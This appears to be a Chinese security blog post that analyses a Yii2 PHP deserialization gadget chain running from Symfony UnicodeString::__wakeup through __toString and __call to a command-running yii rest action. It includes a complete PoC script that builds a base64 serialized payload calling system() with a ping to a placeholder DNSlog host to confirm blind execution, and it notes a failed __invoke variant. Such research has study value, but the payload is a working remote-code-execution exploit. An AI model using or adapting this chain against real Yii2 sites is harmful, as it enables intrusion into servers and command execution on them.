yii2反序列化后续

2020-09-27 11:26:30 浏览数 (1)

昨天早上上班前,我无意间看到其它师傅们挖的yii2利用链,其中有一个是我之前忽略了的,就想着赶紧分享给大家,但是昨天恰了个饭(文末有福利),发不了文章,只有今天发了

这是一条利用__wakeup魔术方法作为入口的利用链,然后我就去看了看,有所收获,所以简单和大家分享一下

问题出在SymfonyComponentStringUnicodeString,我们看下它的wakeup方法:

代码语言:javascript复制
public function __wakeup()
{
    normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
}

这里调用了normalizer_is_normalized,我一开始没有想到这个函数也会把参数当做字符串处理,也就是说这里也可以利用__toString进一步利用

结合前文,我们可以很轻松的构造一条利用链出来:

SymfonyComponentStringUnicodeString::__wakeup()->phpDocumentorReflectionDocBlockTagsSee::__toString()-> FakerGenerator::__call() -> yiirestIndexAction::run()

但是,当我用我生成的payload去测试的时候,直接报错了

我当时也没有去搜这个错误是啥意思,以为是normalizer_is_normalized内部还有其他机制,然后我就去找了一下其他的__toString方法,但是都报这个错(其它利用链我会在后面提到)

后来去查了一下,原来是php版本问题,PREG_UNMATCHED_AS_NULL这个静态变量只在php7.2以上才有,而我用的是php7.1,所以升级一下,然后测试,结果

又报错了...如下

我去查了一下,这个应该是yii的视图报错了导致无法回显命令执行的结果,所以,我利用dnslog来验证命令是否执行,如下:

可以看到命令成功执行了

poc1:

代码语言:javascript复制
<?php
namespace yiirest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ping -c 4 123.xxx.tech';
        }
    }
}

namespace Faker{
    use yiirestCreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentorReflectionDocBlockTags{

    use FakerGenerator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}

namespace SymfonyComponentString{
    use phpDocumentorReflectionDocBlockTagsSee;
    class UnicodeString{
        protected $string;
        public function __construct()
        {
            $this->string = new See;
        }
    }
}
namespace{
    use SymfonyComponentStringUnicodeString;
    // 生成poc
    echo base64_encode(serialize(new UnicodeString()));
}
?>

yii2真是一个练习反序列化连挖掘的好靶场,我们可以通过它来练习各种魔术方法在反序列化链构造中的使用

php所有的魔术方法如下:

  • __construct(),类的构造函数
  • __destruct(),类的析构函数
  • __call(),在对象中调用一个不可访问方法时调用
  • __callStatic(),用静态方式中调用一个不可访问方法时调用
  • __get(),获得一个类的成员变量时调用
  • __set(),设置一个类的成员变量时调用
  • __isset(),当对不可访问属性调用isset()或empty()时调用
  • __unset(),当对不可访问属性调用unset()时被调用。
  • __sleep(),执行serialize()时,先会调用这个函数
  • __wakeup(),执行unserialize()时,先会调用这个函数
  • __toString(),类被当成字符串时的回应方法
  • __invoke(),调用函数的方式调用一个对象时的回应方法
  • __set_state(),调用var_export()导出类时,此静态方法会被调用。
  • __clone(),当对象复制完成时调用
  • __autoload(),尝试加载未定义的类
  • __debugInfo(),打印所需调试信息

这里我本打算再利用__invoke构造一个,我的想法如下:

SymfonyComponentStringUnicodeString::__wakeup()->SymfonyComponentStringLazyString::__toString()-> Swift_StreamCollector::__invoke()->phpDocumentorReflectionDocBlockTagsSee::__toString()->FakerGenerator::__call() -> yiirestIndexAction::run()

你看到这个链可能觉得我这是脱裤子放屁,但是在前面那个链报错的情况下,我才想出了这么一个链,以为可以不报错

我们看下LazyString的toString方法:

代码语言:javascript复制
public function __toString()
{
    if (is_string($this->value)) {
        return $this->value;
    }

    try {
        return $this->value = ($this->value)();
    } catch (Throwable $e) {
       ...
    }
}

可以看到上面代码中有($this->value)(),我一开始以为这里不就可以利用__invoke进行利用吗,但是后来发现我天真了,这报错给我安排的明明白白

可以看到,($this->value)()这种形式是利用不了__invoke

简单记录下这个错误,也算是给大家排个坑吧

0 人点赞